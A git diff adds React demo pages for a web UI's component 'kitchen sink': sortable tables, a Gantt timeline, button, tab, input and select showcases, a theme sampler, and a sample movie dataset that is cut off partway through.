a/ui-next/src/pages/kitchensink/DataTableDemo.jsx b/ui-next/src/pages/kitchensink/DataTableDemo.jsx new file mode 100644 index 0000000..3f8cadc --- /dev/null +++ b/ui-next/src/pages/kitchensink/DataTableDemo.jsx @@ -0,0 +1,19 @@ +import { DataTable } from "../../components"; +import data from "./sampleMovieData"; + +const DataTableDemo = () => { + const columns = [ + { id: "title", name: "title", label: "Title" }, + { id: "director", name: "director", label: "Director" }, + { id: "year", name: "year", label: "Year" }, + { id: "plot", name: "plot", label: "Plot", grow: 0.5 }, + ]; + + return ( + <> + + + ); +}; + +export default DataTableDemo; diff --git a/ui-next/src/pages/kitchensink/EnhancedTable.jsx b/ui-next/src/pages/kitchensink/EnhancedTable.jsx new file mode 100644 index 0000000..56797bc --- /dev/null +++ b/ui-next/src/pages/kitchensink/EnhancedTable.jsx @@ -0,0 +1,349 @@ +import { + Box, + FormControlLabel, + Switch, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TableSortLabel, + Toolbar, +} from "@mui/material"; +import { Heading, Paper, Text } from "components"; +import MuiCheckbox from "components/ui/MuiCheckbox"; +import PropTypes from "prop-types"; +import { useState } from "react"; +import { INNER_HEADER_LEVEL } from "theme/tokens/globalConstants"; + +function createData(name, calories, fat, carbs, protein) { + return { name, calories, fat, carbs, protein }; +} + +const rows = [ + createData("Cupcake", 305, 3.7, 67, 4.3), + createData("Donut", 452, 25.0, 51, 4.9), + createData("Eclair", 262, 16.0, 24, 6.0), + createData("Frozen yoghurt", 159, 6.0, 24, 4.0), + createData("Gingerbread", 356, 16.0, 49, 3.9), + createData("Honeycomb", 408, 3.2, 87, 6.5), + createData("Ice cream sandwich", 237, 9.0, 37, 4.3), + createData("Jelly Bean", 375, 0.0, 94, 0.0), + createData("KitKat", 518, 26.0, 65, 7.0), + createData("Lollipop", 392, 0.2, 98, 0.0), + createData("Marshmallow", 318, 0, 81, 2.0), + createData("Nougat", 360, 19.0, 9, 37.0), + createData("Oreo", 437, 18.0, 63, 4.0), +]; + +function descendingComparator(a, b, orderBy) { + if (b[orderBy] < a[orderBy]) { + return -1; + } + if (b[orderBy] > a[orderBy]) { + return 1; + } + return 0; +} + +function getComparator(order, orderBy) { + return order === "desc" + ? (a, b) => descendingComparator(a, b, orderBy) + : (a, b) => -descendingComparator(a, b, orderBy); +} + +function stableSort(array, comparator) { + const stabilizedThis = array.map((el, index) => [el, index]); + stabilizedThis.sort((a, b) => { + const order = comparator(a[0], b[0]); + if (order !== 0) return order; + return a[1] - b[1]; + }); + return stabilizedThis.map((el) => el[0]); +} + +const headCells = [ + { + id: "name", + numeric: false, + disablePadding: true, + label: "Dessert (100g serving)", + }, + { id: "calories", numeric: true, disablePadding: false, label: "Calories" }, + { id: "fat", numeric: true, disablePadding: false, label: "Fat (g)" }, + { id: "carbs", numeric: true, disablePadding: false, label: "Carbs (g)" }, + { id: "protein", numeric: true, disablePadding: false, label: "Protein (g)" }, +]; + +function EnhancedTableHead(props) { + const { + customStyle, + onSelectAllClick, + order, + orderBy, + numSelected, + rowCount, + onRequestSort, + } = props; + const createSortHandler = (property) => (event) => { + onRequestSort(event, property); + }; + + return ( + + + + 0 && numSelected < rowCount} + checked={rowCount > 0 && numSelected === rowCount} + onChange={onSelectAllClick} + inputProps={{ "aria-label": "select all desserts" }} + /> + + {headCells.map((headCell) => ( + + + {headCell.label} + {orderBy === headCell.id ? ( + + {order === "desc" ? "sorted descending" : "sorted ascending"} + + ) : null} + + + ))} + + + ); +} + +EnhancedTableHead.propTypes = { + classes: PropTypes.object.isRequired, + numSelected: PropTypes.number.isRequired, + onRequestSort: PropTypes.func.isRequired, + onSelectAllClick: PropTypes.func.isRequired, + order: PropTypes.oneOf(["asc", "desc"]).isRequired, + orderBy: PropTypes.string.isRequired, + rowCount: PropTypes.number.isRequired, +}; + +const EnhancedTableToolbar = (props) => { + const { numSelected } = props; + + return ( + theme.spacing("2px"), + paddingRight: (theme) => theme.spacing("1px"), + color: (theme) => { + if (numSelected) { + return theme.palette.type === "light" + ? theme.palette.secondary.main + : theme.palette.text.primary; + } + + return ""; + }, + backgroundColor: (theme) => { + if (numSelected) { + return theme.palette.type === "light" + ? "" + : theme.palette.secondary.dark; + } + + return ""; + }, + }} + > + {numSelected > 0 ? {numSelected} selected : null} + + ); +}; + +EnhancedTableToolbar.propTypes = { + numSelected: PropTypes.number.isRequired, +}; + +const enhancedTableStyle = { + root: { + width: "100%", + }, + table: { + minWidth: "750px", + }, + visuallyHidden: { + border: 0, + clip: "rect(0 0 0 0)", + height: "1px", + margin: "-1px", + overflow: "hidden", + padding: 0, + position: "absolute", + top: "20px", + width: "1px", + }, +}; + +export default function EnhancedTable() { + const [order, setOrder] = useState("asc"); + const [orderBy, setOrderBy] = useState("calories"); + const [selected, setSelected] = useState([]); + const [page, setPage] = useState(0); + const [dense, setDense] = useState(false); + const [rowsPerPage, setRowsPerPage] = useState(5); + + const handleRequestSort = (event, property) => { + const isAsc = orderBy === property && order === "asc"; + setOrder(isAsc ? "desc" : "asc"); + setOrderBy(property); + }; + + const handleSelectAllClick = (event) => { + if (event.target.checked) { + const newSelecteds = rows.map((n) => n.name); + setSelected(newSelecteds); + return; + } + setSelected([]); + }; + + const handleClick = (event, name) => { + const selectedIndex = selected.indexOf(name); + let newSelected = []; + + if (selectedIndex === -1) { + newSelected = newSelected.concat(selected, name); + } else if (selectedIndex === 0) { + newSelected = newSelected.concat(selected.slice(1)); + } else if (selectedIndex === selected.length - 1) { + newSelected = newSelected.concat(selected.slice(0, -1)); + } else if (selectedIndex > 0) { + newSelected = newSelected.concat( + selected.slice(0, selectedIndex), + selected.slice(selectedIndex + 1), + ); + } + + setSelected(newSelected); + }; + + const handleChangePage = (event, newPage) => { + setPage(newPage); + }; + + const handleChangeRowsPerPage = (event) => { + setRowsPerPage(parseInt(event.target.value, 10)); + setPage(0); + }; + + const handleChangeDense = (event) => { + setDense(event.target.checked); + }; + + const isSelected = (name) => selected.indexOf(name) !== -1; + + const emptyRows = + rowsPerPage - Math.min(rowsPerPage, rows.length - page * rowsPerPage); + + return ( + + theme.spacing(2), + }} + > + + Native MUI Table + + + + + + + {stableSort(rows, getComparator(order, orderBy)) + .slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage) + .map((row, index) => { + const isItemSelected = isSelected(row.name); + const labelId = `enhanced-table-checkbox-${index}`; + + return ( + handleClick(event, row.name)} + role="checkbox" + aria-checked={isItemSelected} + tabIndex={-1} + key={row.name} + selected={isItemSelected} + > + + + + + {row.name} + + {row.calories} + {row.fat} + {row.carbs} + {row.protein} + + ); + })} + {emptyRows > 0 && ( + + + + )} + +
      +       + + } + label="Dense padding" + /> +       +       + ); +} diff --git a/ui-next/src/pages/kitchensink/Examples.jsx b/ui-next/src/pages/kitchensink/Examples.jsx new file mode 100644 index 0000000..f1966e7 --- /dev/null +++ b/ui-next/src/pages/kitchensink/Examples.jsx @@ -0,0 +1,3 @@ +export default function Examples() { + return null; +} diff --git a/ui-next/src/pages/kitchensink/Gantt.jsx b/ui-next/src/pages/kitchensink/Gantt.jsx new file mode 100644 index 0000000..fe39d99 --- /dev/null +++ b/ui-next/src/pages/kitchensink/Gantt.jsx @@ -0,0 +1,87 @@ +import React, { Component } from "react"; +import Timeline from "react-vis-timeline"; +import { addMinutes, addMinutesToDate, startOfCurrentHour } from "utils/date"; +import { Paper } from "../../components"; + +function createItem(id, startTime) { + return { + id: id, + group: id, + content: "item " + id, + start: startTime, + end: addMinutes(startTime, 1), + }; +} + +const initialGroups = [], + initialItems = []; + +const now = startOfCurrentHour(); + +const itemCount = 20; +for (let i = 0; i < itemCount; i++) { + const start = addMinutesToDate(now, Math.random() * 200); + initialGroups.push({ id: i, content: "group " + i }); + initialItems.push(createItem(i, start)); +} + +export default class Gantt extends Component { + timelineRef = React.createRef(); + + constructor(props) { + super(props); + + this.state = { + selectedIds: [], + }; + } + + /* + onAddItem = () => { + var nextId = this.timelineRef.current.items.length + 1; + const group = Math.floor(Math.random() * groupCount); + this.timelineRef.current.items.add(createItem(nextId, group, names[group], moment())); + this.timelineRef.current.timeline.fit(); + }; + */ + + onFit = () => { + this.timelineRef.current.timeline.fit(); + }; + + render() { + return ( + +

      This example demonstrate using groups.

      + + +
      + +
      +
      +       + ); + } + + clickHandler = () => { + const { group } = this.props; + const items = this.timelineRef.current.items.get(); + const selectedIds = items + .filter((item) => item.group === group) + .map((item) => item.id); + this.setState({ + selectedIds, + }); + }; +} diff --git a/ui-next/src/pages/kitchensink/KitchenSink.jsx b/ui-next/src/pages/kitchensink/KitchenSink.jsx new file mode 100644 index 0000000..ddb9dd6 --- /dev/null +++ b/ui-next/src/pages/kitchensink/KitchenSink.jsx @@ -0,0 +1,422 @@ +import { useState } from "react"; +import { + Box, + FormControl, + Grid, + InputLabel, + MenuItem, + Switch, +} from "@mui/material"; +import { Trash as DeleteIcon } from "@phosphor-icons/react"; +import { + ButtonGroup, + DropdownButton, + Heading, + IconButton, + Input, + NavLink, + Paper, + Select, + SplitButton, + Tab, + Tabs, + Text, +} from "components"; + +import EnhancedTable from "./EnhancedTable"; +import DataTableDemo from "./DataTableDemo"; +import { useAction } from "utils/query"; +import top100Films from "./sampleMovieData"; +import Dropdown from "components/ui/inputs/Dropdown"; +import sharedStyles from "../styles"; +import { logger } from "utils/index"; +import Button from "components/ui/buttons/MuiButton"; +import MuiCheckbox from "components/ui/MuiCheckbox"; + +export default function KitchenSink() { + return ( + + + +

      This is a Hawkins-like theme based on vanilla Material-UI.

      +       + + Gantt + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +       +       + ); +} + +const HeadingSection = () => { + return ( + + Heading Level Zero + Heading Level One + Heading Level Two + Heading Level Three + Heading Level Four + Heading Level Five + Text Level Zero + Text Level One + Text Level Two + +
      Default <div>
      +
      Default <p>
      +       + ); +}; + +const TabsSection = () => { + const [tabIndex, setTabIndex] = useState(0); + + return ( + + + Tabs + + + Page Level + + + Full Width + + + + setTabIndex(0)} /> + setTabIndex(1)} /> + setTabIndex(2)} /> + setTabIndex(3)} /> + +
      Tab content {tabIndex}
      +       + + + Fixed Width + + + + setTabIndex(0)} /> + setTabIndex(1)} /> + setTabIndex(2)} /> + setTabIndex(3)} /> + +
      Tab content {tabIndex}
      +       + + + Contextual + + + + Full Width + + + + setTabIndex(0)} /> + setTabIndex(1)} /> + setTabIndex(2)} /> + setTabIndex(3)} /> + +
      Tab content {tabIndex}
      +       + + Fixed Width + + + + + setTabIndex(0)} /> + setTabIndex(1)} /> + setTabIndex(2)} /> + setTabIndex(3)} /> + +
      Tab content {tabIndex}
      +       +       + ); +}; + +const Buttons = () => ( + + + Button + + + + + + + + + + + + + + + + + alert("you clicked 1"), + }, + { + label: "Squash and merge", + handler: () => alert("you clicked 2"), + }, + { + label: "Rebase and merge", + handler: () => alert("you clicked 3"), + }, + ]} + onPrimaryClick={() => alert("main button")} + > + Split Button + + + + alert("you clicked 1"), + }, + { + label: "Squash and merge", + handler: () => alert("you clicked 2"), + }, + { + label: "Rebase and merge", + handler: () => alert("you clicked 3"), + }, + ]} + > + Dropdown Button + + + + + + + + + + + + +); + +const Toggles = () => { + const [toggleChecked, setToggleChecked] = useState(false); + + return ( + + + Toggle + + setToggleChecked(!toggleChecked)} + color="primary" + /> + + ); +}; + +const Checkboxes = () => { + const [toggleChecked, setToggleChecked] = useState(false); + + return ( + + + Checkbox + + setToggleChecked(!toggleChecked)} + color="primary" + /> + + ); +}; + +const Inputs = () => ( + + + Input + + + + + + + + + + Input Label via FormControl/InputLabel + + + + + +); + +const Selects = () => { + const [value, setValue] = useState(10); + return ( + + + Select + + + + + + + + + option.title} + /> + + option.title} + /> + + option.title} + /> + + option.title} + defaultValue={[top100Films[13]]} + style={{ width: 500 }} + filterSelectedOptions + /> + + ); +}; + +const MutationTest = () => { + const postAction = useAction("/dummy/post", "post", { + onSuccess: (data) => logger.log("onsuccess", data), + onError: (err) => logger.log("onerror", err), + }); + + const putAction = useAction("/dummy/put", "put", { + onSuccess: (data) => logger.log("onsuccess", data), + onError: (err) => logger.log("onerror", err), + }); + + const deleteAction = useAction("/dummy/delete", "delete", { + onSuccess: (data) => logger.log("onsuccess", data), + onError: (err) => logger.log("onerror", err), + }); + + return ( + + + Mutations + + + + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/kitchensink/ThemeSampler.jsx b/ui-next/src/pages/kitchensink/ThemeSampler.jsx new file mode 100644 index 0000000..83e1857 --- /dev/null +++ b/ui-next/src/pages/kitchensink/ThemeSampler.jsx @@ -0,0 +1,83 @@ +import { Box } from "@mui/material"; +import Button from "components/ui/buttons/MuiButton"; +import MuiTypography from "components/ui/MuiTypography"; + +export default function ThemeSampler() { + const variants = ["contained", "solid", "outlined"]; + const colors = ["primary", "secondary", "success", "warning", "error"]; + const sizes = ["small", "medium", "large"]; + + const variantColorsSizes = variants.reduce((acc, variant) => { + colors.forEach((color) => { + sizes.forEach((size) => { + acc.push({ variant, color, size }); + }); + }); + return acc; + }, []); + + return ( + + + + Buttons + + + + + + Default (no props) is: color = primary, variant = contained, size + = medium + + + {variantColorsSizes.map((variantColorSize) => { + return ( + + + + ); + })} + + {/* + + + color="secondary" + + + + + + color="secondary" + + */} + + + + ); +} diff --git a/ui-next/src/pages/kitchensink/sampleMovieData.js b/ui-next/src/pages/kitchensink/sampleMovieData.js new file mode 100644 index 0000000..ad26468 --- /dev/null +++ b/ui-next/src/pages/kitchensink/sampleMovieData.js @@ -0,0 +1,1773 @@ +// Author https://github.com/yegor-sytnyk/movies-list + +export default [ + { + id: 1, + title: "Beetlejuice", + year: "1988", + runtime: "92", + genres: ["Comedy", "Fantasy"], + director: "Tim Burton", + actors: "Alec Baldwin, Geena Davis, Annie McEnroe, Maurice Page", + plot: 'A couple of recently deceased ghosts contract the services of a "bio-exorcist" in order to remove the obnoxious new owners of their house.', + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTUwODE3MDE0MV5BMl5BanBnXkFtZTgwNTk1MjI4MzE@._V1_SX300.jpg", + }, + { + id: 2, + title: "The Cotton Club", + year: "1984", + runtime: "127", + genres: ["Crime", "Drama", "Music"], + director: "Francis Ford Coppola", + actors: "Richard Gere, Gregory Hines, Diane Lane, Lonette McKee", + plot: "The Cotton Club was a famous night club in Harlem. The story follows the people that visited the club, those that ran it, and is peppered with the Jazz music that made it so famous.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTU5ODAyNzA4OV5BMl5BanBnXkFtZTcwNzYwNTIzNA@@._V1_SX300.jpg", + }, + { + id: 3, + title: "The Shawshank Redemption", + year: "1994", + runtime: "142", + genres: ["Crime", "Drama"], + director: "Frank Darabont", + actors: "Tim Robbins, Morgan Freeman, Bob Gunton, William Sadler", + plot: "Two imprisoned men bond over a number of years, finding solace and eventual redemption through acts of common decency.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BODU4MjU4NjIwNl5BMl5BanBnXkFtZTgwMDU2MjEyMDE@._V1_SX300.jpg", + }, + { + id: 4, + title: "Crocodile Dundee", + year: "1986", + runtime: "97", + genres: ["Adventure", "Comedy"], + director: "Peter Faiman", + actors: "Paul Hogan, Linda Kozlowski, John Meillon, David Gulpilil", + plot: "An American reporter goes to the Australian outback to meet an eccentric crocodile poacher and invites him to New York City.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTg0MTU1MTg4NF5BMl5BanBnXkFtZTgwMDgzNzYxMTE@._V1_SX300.jpg", + }, + { + id: 5, + title: "Valkyrie", + year: "2008", + runtime: "121", + genres: ["Drama", "History", "Thriller"], + director: "Bryan Singer", + actors: "Tom Cruise, Kenneth Branagh, Bill Nighy, Tom Wilkinson", + plot: "A dramatization of the 20 July assassination and political coup plot by desperate renegade German Army officers against Hitler during World War II.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTg3Njc2ODEyN15BMl5BanBnXkFtZTcwNTAwMzc3NA@@._V1_SX300.jpg", + }, + { + id: 6, + title: "Ratatouille", + year: "2007", + runtime: "111", + genres: ["Animation", "Comedy", "Family"], + director: "Brad Bird, Jan Pinkava", + actors: "Patton Oswalt, Ian Holm, Lou Romano, Brian Dennehy", + plot: "A rat who can cook makes an unusual alliance with a young kitchen worker at a famous restaurant.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTMzODU0NTkxMF5BMl5BanBnXkFtZTcwMjQ4MzMzMw@@._V1_SX300.jpg", + }, + { + id: 7, + title: "City of God", + year: "2002", + runtime: "130", + genres: ["Crime", "Drama"], + director: "Fernando Meirelles, Kátia Lund", + actors: + "Alexandre Rodrigues, Leandro Firmino, Phellipe Haagensen, Douglas Silva", + plot: "Two boys growing up in a violent neighborhood of Rio de Janeiro take different paths: one becomes a photographer, the other a drug dealer.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjA4ODQ3ODkzNV5BMl5BanBnXkFtZTYwOTc4NDI3._V1_SX300.jpg", + }, + { + id: 8, + title: "Memento", + year: "2000", + runtime: "113", + genres: ["Mystery", "Thriller"], + director: "Christopher Nolan", + actors: "Guy Pearce, Carrie-Anne Moss, Joe Pantoliano, Mark Boone Junior", + plot: "A man juggles searching for his wife's murderer and keeping his short-term memory loss from being an obstacle.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNThiYjM3MzktMDg3Yy00ZWQ3LTk3YWEtN2M0YmNmNWEwYTE3XkEyXkFqcGdeQXVyMTQxNzMzNDI@._V1_SX300.jpg", + }, + { + id: 9, + title: "The Intouchables", + year: "2011", + runtime: "112", + genres: ["Biography", "Comedy", "Drama"], + director: "Olivier Nakache, Eric Toledano", + actors: "François Cluzet, Omar Sy, Anne Le Ny, Audrey Fleurot", + plot: "After he becomes a quadriplegic from a paragliding accident, an aristocrat hires a young man from the projects to be his caregiver.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTYxNDA3MDQwNl5BMl5BanBnXkFtZTcwNTU4Mzc1Nw@@._V1_SX300.jpg", + }, + { + id: 10, + title: "Stardust", + year: "2007", + runtime: "127", + genres: ["Adventure", "Family", "Fantasy"], + director: "Matthew Vaughn", + actors: "Ian McKellen, Bimbo Hart, Alastair MacIntosh, David Kelly", + plot: "In a countryside town bordering on a magical land, a young man makes a promise to his beloved that he'll retrieve a fallen star by venturing into the magical realm.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjkyMTE1OTYwNF5BMl5BanBnXkFtZTcwMDIxODYzMw@@._V1_SX300.jpg", + }, + { + id: 11, + title: "Apocalypto", + year: "2006", + runtime: "139", + genres: ["Action", "Adventure", "Drama"], + director: "Mel Gibson", + actors: + "Rudy Youngblood, Dalia Hernández, Jonathan Brewer, Morris Birdyellowhead", + plot: "As the Mayan kingdom faces its decline, the rulers insist the key to prosperity is to build more temples and offer human sacrifices. Jaguar Paw, a young man captured for sacrifice, flees to avoid his fate.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNTM1NjYyNTY5OV5BMl5BanBnXkFtZTcwMjgwNTMzMQ@@._V1_SX300.jpg", + }, + { + id: 12, + title: "Taxi Driver", + year: "1976", + runtime: "113", + genres: ["Crime", "Drama"], + director: "Martin Scorsese", + actors: "Diahnne Abbott, Frank Adu, Victor Argo, Gino Ardito", + plot: "A mentally unstable Vietnam War veteran works as a night-time taxi driver in New York City where the perceived decadence and sleaze feeds his urge for violent action, attempting to save a preadolescent prostitute in the process.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNGQxNDgzZWQtZTNjNi00M2RkLWExZmEtNmE1NjEyZDEwMzA5XkEyXkFqcGdeQXVyMTQxNzMzNDI@._V1_SX300.jpg", + }, + { + id: 13, + title: "No Country for Old Men", + year: "2007", + runtime: "122", + genres: ["Crime", "Drama", "Thriller"], + director: "Ethan Coen, Joel Coen", + actors: "Tommy Lee Jones, Javier Bardem, Josh Brolin, Woody Harrelson", + plot: "Violence and mayhem ensue after a hunter stumbles upon a drug deal gone wrong and more than two million dollars in cash near the Rio Grande.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjA5Njk3MjM4OV5BMl5BanBnXkFtZTcwMTc5MTE1MQ@@._V1_SX300.jpg", + }, + { + id: 14, + title: "Planet 51", + year: "2009", + runtime: "91", + genres: ["Animation", "Adventure", "Comedy"], + director: "Jorge Blanco, Javier Abad, Marcos Martínez", + actors: "Jessica Biel, John Cleese, Gary Oldman, Dwayne Johnson", + plot: "An alien civilization is invaded by Astronaut Chuck Baker, who believes that the planet was uninhabited. Wanted by the military, Baker must get back to his ship before it goes into orbit without him.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTUyOTAyNTA5Ml5BMl5BanBnXkFtZTcwODU2OTM0Mg@@._V1_SX300.jpg", + }, + { + id: 15, + title: "Looper", + year: "2012", + runtime: "119", + genres: ["Action", "Crime", "Drama"], + director: "Rian Johnson", + actors: "Joseph Gordon-Levitt, Bruce Willis, Emily Blunt, Paul Dano", + plot: "In 2074, when the mob wants to get rid of someone, the target is sent into the past, where a hired gun awaits - someone like Joe - who one day learns the mob wants to 'close the loop' by sending back Joe's future self for assassination.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTY3NTY0MjEwNV5BMl5BanBnXkFtZTcwNTE3NDA1OA@@._V1_SX300.jpg", + }, + { + id: 16, + title: "Corpse Bride", + year: "2005", + runtime: "77", + genres: ["Animation", "Drama", "Family"], + director: "Tim Burton, Mike Johnson", + actors: "Johnny Depp, Helena Bonham Carter, Emily Watson, Tracey Ullman", + plot: "When a shy groom practices his wedding vows in the inadvertent presence of a deceased young woman, she rises from the grave assuming he has married her.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTk1MTY1NjU4MF5BMl5BanBnXkFtZTcwNjIzMTEzMw@@._V1_SX300.jpg", + }, + { + id: 17, + title: "The Third Man", + year: "1949", + runtime: "93", + genres: ["Film-Noir", "Mystery", "Thriller"], + director: "Carol Reed", + actors: "Joseph Cotten, Alida Valli, Orson Welles, Trevor Howard", + plot: "Pulp novelist Holly Martins travels to shadowy, postwar Vienna, only to find himself investigating the mysterious death of an old friend, Harry Lime.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjMwNzMzMTQ0Ml5BMl5BanBnXkFtZTgwNjExMzUwNjE@._V1_SX300.jpg", + }, + { + id: 18, + title: "The Beach", + year: "2000", + runtime: "119", + genres: ["Adventure", "Drama", "Romance"], + director: "Danny Boyle", + actors: + "Leonardo DiCaprio, Daniel York, Patcharawan Patarakijjanon, Virginie Ledoyen", + plot: "Twenty-something Richard travels to Thailand and finds himself in possession of a strange map. Rumours state that it leads to a solitary beach paradise, a tropical bliss - excited and intrigued, he sets out to find it.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BN2ViYTFiZmUtOTIxZi00YzIxLWEyMzUtYjQwZGNjMjNhY2IwXkEyXkFqcGdeQXVyNDk3NzU2MTQ@._V1_SX300.jpg", + }, + { + id: 19, + title: "Scarface", + year: "1983", + runtime: "170", + genres: ["Crime", "Drama"], + director: "Brian De Palma", + actors: + "Al Pacino, Steven Bauer, Michelle Pfeiffer, Mary Elizabeth Mastrantonio", + plot: "In Miami in 1980, a determined Cuban immigrant takes over a drug cartel and succumbs to greed.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjAzOTM4MzEwNl5BMl5BanBnXkFtZTgwMzU1OTc1MDE@._V1_SX300.jpg", + }, + { + id: 20, + title: "Sid and Nancy", + year: "1986", + runtime: "112", + genres: ["Biography", "Drama", "Music"], + director: "Alex Cox", + actors: "Gary Oldman, Chloe Webb, David Hayman, Debby Bishop", + plot: "Morbid biographical story of Sid Vicious, bassist with British punk group the Sex Pistols, and his girlfriend Nancy Spungen. When the Sex Pistols break up after their fateful US tour, ...", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjExNjA5NzY4M15BMl5BanBnXkFtZTcwNjQ2NzI5NA@@._V1_SX300.jpg", + }, + { + id: 21, + title: "Black Swan", + year: "2010", + runtime: "108", + genres: ["Drama", "Thriller"], + director: "Darren Aronofsky", + actors: "Natalie Portman, Mila Kunis, Vincent Cassel, Barbara Hershey", + plot: 'A committed dancer wins the lead role in a production of Tchaikovsky\'s "Swan Lake" only to find herself struggling to maintain her sanity.', + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNzY2NzI4OTE5MF5BMl5BanBnXkFtZTcwMjMyNDY4Mw@@._V1_SX300.jpg", + }, + { + id: 22, + title: "Inception", + year: "2010", + runtime: "148", + genres: ["Action", "Adventure", "Sci-Fi"], + director: "Christopher Nolan", + actors: "Leonardo DiCaprio, Joseph Gordon-Levitt, Ellen Page, Tom Hardy", + plot: "A thief, who steals corporate secrets through use of dream-sharing technology, is given the inverse task of planting an idea into the mind of a CEO.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjAxMzY3NjcxNF5BMl5BanBnXkFtZTcwNTI5OTM0Mw@@._V1_SX300.jpg", + }, + { + id: 23, + title: "The Deer Hunter", + year: "1978", + runtime: "183", + genres: ["Drama", "War"], + director: "Michael Cimino", + actors: "Robert De Niro, John Cazale, John Savage, Christopher Walken", + plot: "An in-depth examination of the ways in which the U.S. Vietnam War impacts and disrupts the lives of people in a small industrial town in Pennsylvania.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTYzYmRmZTQtYjk2NS00MDdlLTkxMDAtMTE2YTM2ZmNlMTBkXkEyXkFqcGdeQXVyNjU0OTQ0OTY@._V1_SX300.jpg", + }, + { + id: 24, + title: "Chasing Amy", + year: "1997", + runtime: "113", + genres: ["Comedy", "Drama", "Romance"], + director: "Kevin Smith", + actors: "Ethan Suplee, Ben Affleck, Scott Mosier, Jason Lee", + plot: "Holden and Banky are comic book artists. Everything's going good for them until they meet Alyssa, also a comic book artist. Holden falls for her, but his hopes are crushed when he finds out she's gay.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BZDM3MTg2MGUtZDM0MC00NzMwLWE5NjItOWFjNjA2M2I4YzgxXkEyXkFqcGdeQXVyMTQxNzMzNDI@._V1_SX300.jpg", + }, + { + id: 25, + title: "Django Unchained", + year: "2012", + runtime: "165", + genres: ["Drama", "Western"], + director: "Quentin Tarantino", + actors: "Jamie Foxx, Christoph Waltz, Leonardo DiCaprio, Kerry Washington", + plot: "With the help of a German bounty hunter, a freed slave sets out to rescue his wife from a brutal Mississippi plantation owner.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMjIyNTQ5NjQ1OV5BMl5BanBnXkFtZTcwODg1MDU4OA@@._V1_SX300.jpg", + }, + { + id: 26, + title: "The Silence of the Lambs", + year: "1991", + runtime: "118", + genres: ["Crime", "Drama", "Thriller"], + director: "Jonathan Demme", + actors: + "Jodie Foster, Lawrence A. Bonney, Kasi Lemmons, Lawrence T. Wrentz", + plot: "A young F.B.I. cadet must confide in an incarcerated and manipulative killer to receive his help on catching another serial killer who skins his victims.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTQ2NzkzMDI4OF5BMl5BanBnXkFtZTcwMDA0NzE1NA@@._V1_SX300.jpg", + }, + { + id: 27, + title: "American Beauty", + year: "1999", + runtime: "122", + genres: ["Drama", "Romance"], + director: "Sam Mendes", + actors: "Kevin Spacey, Annette Bening, Thora Birch, Wes Bentley", + plot: "A sexually frustrated suburban father has a mid-life crisis after becoming infatuated with his daughter's best friend.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjM4NTI5NzYyNV5BMl5BanBnXkFtZTgwNTkxNTYxMTE@._V1_SX300.jpg", + }, + { + id: 28, + title: "Snatch", + year: "2000", + runtime: "102", + genres: ["Comedy", "Crime"], + director: "Guy Ritchie", + actors: "Benicio Del Toro, Dennis Farina, Vinnie Jones, Brad Pitt", + plot: "Unscrupulous boxing promoters, violent bookmakers, a Russian gangster, incompetent amateur robbers, and supposedly Jewish jewelers fight to track down a priceless stolen diamond.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTA2NDYxOGYtYjU1Mi00Y2QzLTgxMTQtMWI1MGI0ZGQ5MmU4XkEyXkFqcGdeQXVyNDk3NzU2MTQ@._V1_SX300.jpg", + }, + { + id: 29, + title: "Midnight Express", + year: "1978", + runtime: "121", + genres: ["Crime", "Drama", "Thriller"], + director: "Alan Parker", + actors: "Brad Davis, Irene Miracle, Bo Hopkins, Paolo Bonacelli", + plot: "Billy Hayes, an American college student, is caught smuggling drugs out of Turkey and thrown into prison.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTQyMDA5MzkyOF5BMl5BanBnXkFtZTgwOTYwNTcxMTE@._V1_SX300.jpg", + }, + { + id: 30, + title: "Pulp Fiction", + year: "1994", + runtime: "154", + genres: ["Crime", "Drama"], + director: "Quentin Tarantino", + actors: "Tim Roth, Amanda Plummer, Laura Lovelace, John Travolta", + plot: "The lives of two mob hit men, a boxer, a gangster's wife, and a pair of diner bandits intertwine in four tales of violence and redemption.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTkxMTA5OTAzMl5BMl5BanBnXkFtZTgwNjA5MDc3NjE@._V1_SX300.jpg", + }, + { + id: 31, + title: "Lock, Stock and Two Smoking Barrels", + year: "1998", + runtime: "107", + genres: ["Comedy", "Crime"], + director: "Guy Ritchie", + actors: "Jason Flemyng, Dexter Fletcher, Nick Moran, Jason Statham", + plot: "A botched card game in London triggers four friends, thugs, weed-growers, hard gangsters, loan sharks and debt collectors to collide with each other in a series of 